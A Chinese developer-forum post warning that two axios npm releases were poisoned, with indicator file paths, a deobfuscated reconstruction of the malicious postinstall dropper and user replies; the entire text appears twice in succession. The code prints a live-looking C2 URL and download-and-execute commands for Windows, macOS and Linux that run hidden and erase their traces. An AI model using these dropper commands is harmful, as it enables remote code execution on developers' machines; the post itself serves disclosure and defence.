axios供应链投毒
- 内容介绍
- 文章标签
- 相关推荐
一、概述
axios 作为浏览器端及 Node.js 环境中广泛使用的 Promise 风格 HTTP 客户端组件,被大量前端项目、服务端应用、自动化构建脚本及测试工具依赖使用。
带毒的版本:
axios@1.14.1、axios@0.30.4
重要提醒
Openclaw,Skills
也有可能会引入带毒的axios,大家注意排查!
安全提醒:OpenClaw 最新版本 3.28 可能引入带毒的 axios,请用户注意排查 源地址:https://x.com/evilcos/status/2038875533799481493
排查方法:
axios供应链投毒 开发调优检查是否有恶意落地后门文件 1. macOS /Library/Caches/com.apple.act.mond 2. Linux /tmp/ld.py 3. Windows %PROGRAMDATA%\wt.exe
安全预警:
stepsecurity
微步
反混淆后的核心代码:
'use strict';
// Deobfuscated, non-executing reconstruction of the original `setup.js`.
// The original script is a malicious postinstall downloader. This version keeps
// the control flow readable for analysis and intentionally does not execute the
// payload, write staged files, or delete project files.
const path = require('path');
const C2_BASE_URL = 'http://sfrclak.com:8000/';
const DEFAULT_PACKAGE_ID = '6202033';
const PLATFORM_DARWIN = 'darwin';
const PLATFORM_WIN32 = 'win32';
const POWERSHELL_DISCOVERY_COMMAND = 'where powershell';
const WINDOWS_POWERSHELL_COPY_NAME = 'wt.exe';
const WINDOWS_POWERSHELL_SCRIPT_SUFFIX = '.ps1';
const WINDOWS_VBS_SUFFIX = '.vbs';
const MAC_STAGE_PATH = '/Library/Caches/com.apple.act.mond';
const GENERIC_STAGE_PATH = '/tmp/ld.py';
const RESTORED_PACKAGE_JSON = 'package.json';
const HIDDEN_PACKAGE_JSON = 'package.md';
const WINDOWS_VBS_TEMPLATE = `
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False
`.trim();
const WINDOWS_LAUNCH_TEMPLATE = 'cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f';
const MAC_APPLESCRIPT_TEMPLATE = `
set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}
try
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\\" &> /dev/null"
end try
do shell script "rm -rf LOCAL_PATH"
`.trim();
const MAC_LAUNCH_TEMPLATE = 'nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &';
const GENERIC_LAUNCH_TEMPLATE =
'curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &';
function buildPayloadUrl(packageId = DEFAULT_PACKAGE_ID) {
return `${C2_BASE_URL}${packageId}`;
}
function buildMacBehavior(packageId = DEFAULT_PACKAGE_ID) {
const payloadUrl = buildPayloadUrl(packageId);
const tempAppleScriptPath = path.posix.join('/tmp', packageId);
const stagedAppleScript = MAC_APPLESCRIPT_TEMPLATE
.replaceAll('SCR_LINK', payloadUrl)
.replaceAll('LOCAL_PATH', tempAppleScriptPath);
const launchCommand = MAC_LAUNCH_TEMPLATE.replaceAll('LOCAL_PATH', tempAppleScriptPath);
return {
platform: PLATFORM_DARWIN,
payloadUrl,
tempAppleScriptPath,
stagedPayloadPath: MAC_STAGE_PATH,
stagedAppleScript,
launchCommand,
originalActions: [
`write AppleScript to ${tempAppleScriptPath}`,
`download payload to ${MAC_STAGE_PATH} with POST body "packages.npm.org/product0"`,
`chmod 770 ${MAC_STAGE_PATH}`,
`launch ${MAC_STAGE_PATH} ${payloadUrl} in the background`,
`delete ${tempAppleScriptPath}`,
],
};
}
网友解答:
--【壹】--:
image1668×1294 372 KB
刚好完美卡在这个时间线里,
c4eae40c53194ef1d195f153d51cdebc416×136 5.75 KB
这下了,不过查了没有对应的文件,不知道中没中招
--【贰】--:
建议大家尽快排查,影响非常广
--【叁】--:
我去这个都中招了
--【肆】--:
不用axios,用 fetch
--【伍】--:
axios 太多包在用,这波影响远远大于之前 LiteLLM 了。
--【陆】--:
确实吓人
--【柒】--:
中招了咋办
--【捌】--:
太吓人了吧。。。这个库的下载量那不是一般般的大。。。
尽管几个小时就修复了,但是我刚看了下淘宝镜像源的下载量,有两万个中招了。。。。。
image782×526 18.4 KB
--【玖】--:
image1840×928 151 KB
安全!(
--【拾】--:
已吓哭,太离谱了
--【拾壹】--:
检查是否有恶意落地后门文件
1. macOS
/Library/Caches/com.apple.act.mond
2. Linux
/tmp/ld.py
3. Windows
%PROGRAMDATA%\wt.exe
--【拾贰】--:
还好,是没毒的版本
--【拾叁】--:
安全提醒:OpenClaw 最新版本 3.28 可能引入带毒的 axios,请用户注意排查
源地址:https://x.com/evilcos/status/2038875533799481493
--【拾肆】--:
太狠了,还好我的是远古项目,axios离有毒版本十万八千里,这一周都两起供应链投毒了哇
--【拾伍】--:
好在没有一直更新项目依赖
--【拾陆】--:
确实吓人
--【拾柒】--:
这个用的就有点多了,估计在这段时间内升级axios也会中招
--【拾捌】--:
谢谢提醒
--【拾玖】--:
顶下,有需要的佬友自查
一、概述
axios 作为浏览器端及 Node.js 环境中广泛使用的 Promise 风格 HTTP 客户端组件,被大量前端项目、服务端应用、自动化构建脚本及测试工具依赖使用。
带毒的版本:
axios@1.14.1、axios@0.30.4
重要提醒
Openclaw,Skills
也有可能会引入带毒的axios,大家注意排查!
安全提醒:OpenClaw 最新版本 3.28 可能引入带毒的 axios,请用户注意排查 源地址:https://x.com/evilcos/status/2038875533799481493
排查方法:
axios供应链投毒 开发调优检查是否有恶意落地后门文件 1. macOS /Library/Caches/com.apple.act.mond 2. Linux /tmp/ld.py 3. Windows %PROGRAMDATA%\wt.exe
安全预警:
stepsecurity
微步
反混淆后的核心代码:
'use strict';
// Deobfuscated, non-executing reconstruction of the original `setup.js`.
// The original script is a malicious postinstall downloader. This version keeps
// the control flow readable for analysis and intentionally does not execute the
// payload, write staged files, or delete project files.
const path = require('path');
const C2_BASE_URL = 'http://sfrclak.com:8000/';
const DEFAULT_PACKAGE_ID = '6202033';
const PLATFORM_DARWIN = 'darwin';
const PLATFORM_WIN32 = 'win32';
const POWERSHELL_DISCOVERY_COMMAND = 'where powershell';
const WINDOWS_POWERSHELL_COPY_NAME = 'wt.exe';
const WINDOWS_POWERSHELL_SCRIPT_SUFFIX = '.ps1';
const WINDOWS_VBS_SUFFIX = '.vbs';
const MAC_STAGE_PATH = '/Library/Caches/com.apple.act.mond';
const GENERIC_STAGE_PATH = '/tmp/ld.py';
const RESTORED_PACKAGE_JSON = 'package.json';
const HIDDEN_PACKAGE_JSON = 'package.md';
const WINDOWS_VBS_TEMPLATE = `
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False
`.trim();
const WINDOWS_LAUNCH_TEMPLATE = 'cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f';
const MAC_APPLESCRIPT_TEMPLATE = `
set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}
try
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\\" &> /dev/null"
end try
do shell script "rm -rf LOCAL_PATH"
`.trim();
const MAC_LAUNCH_TEMPLATE = 'nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &';
const GENERIC_LAUNCH_TEMPLATE =
'curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &';
function buildPayloadUrl(packageId = DEFAULT_PACKAGE_ID) {
return `${C2_BASE_URL}${packageId}`;
}
function buildMacBehavior(packageId = DEFAULT_PACKAGE_ID) {
const payloadUrl = buildPayloadUrl(packageId);
const tempAppleScriptPath = path.posix.join('/tmp', packageId);
const stagedAppleScript = MAC_APPLESCRIPT_TEMPLATE
.replaceAll('SCR_LINK', payloadUrl)
.replaceAll('LOCAL_PATH', tempAppleScriptPath);
const launchCommand = MAC_LAUNCH_TEMPLATE.replaceAll('LOCAL_PATH', tempAppleScriptPath);
return {
platform: PLATFORM_DARWIN,
payloadUrl,
tempAppleScriptPath,
stagedPayloadPath: MAC_STAGE_PATH,
stagedAppleScript,
launchCommand,
originalActions: [
`write AppleScript to ${tempAppleScriptPath}`,
`download payload to ${MAC_STAGE_PATH} with POST body "packages.npm.org/product0"`,
`chmod 770 ${MAC_STAGE_PATH}`,
`launch ${MAC_STAGE_PATH} ${payloadUrl} in the background`,
`delete ${tempAppleScriptPath}`,
],
};
}
网友解答:
--【壹】--:
image1668×1294 372 KB
刚好完美卡在这个时间线里,
c4eae40c53194ef1d195f153d51cdebc416×136 5.75 KB
这下了,不过查了没有对应的文件,不知道中没中招
--【贰】--:
建议大家尽快排查,影响非常广
--【叁】--:
我去这个都中招了
--【肆】--:
不用axios,用 fetch
--【伍】--:
axios 太多包在用,这波影响远远大于之前 LiteLLM 了。
--【陆】--:
确实吓人
--【柒】--:
中招了咋办
--【捌】--:
太吓人了吧。。。这个库的下载量那不是一般般的大。。。
尽管几个小时就修复了,但是我刚看了下淘宝镜像源的下载量,有两万个中招了。。。。。
image782×526 18.4 KB
--【玖】--:
image1840×928 151 KB
安全!(
--【拾】--:
已吓哭,太离谱了
--【拾壹】--:
检查是否有恶意落地后门文件
1. macOS
/Library/Caches/com.apple.act.mond
2. Linux
/tmp/ld.py
3. Windows
%PROGRAMDATA%\wt.exe
--【拾贰】--:
还好,是没毒的版本
--【拾叁】--:
安全提醒:OpenClaw 最新版本 3.28 可能引入带毒的 axios,请用户注意排查
源地址:https://x.com/evilcos/status/2038875533799481493
--【拾肆】--:
太狠了,还好我的是远古项目,axios离有毒版本十万八千里,这一周都两起供应链投毒了哇
--【拾伍】--:
好在没有一直更新项目依赖
--【拾陆】--:
确实吓人
--【拾柒】--:
这个用的就有点多了,估计在这段时间内升级axios也会中招
--【拾捌】--:
谢谢提醒
--【拾玖】--:
顶下,有需要的佬友自查

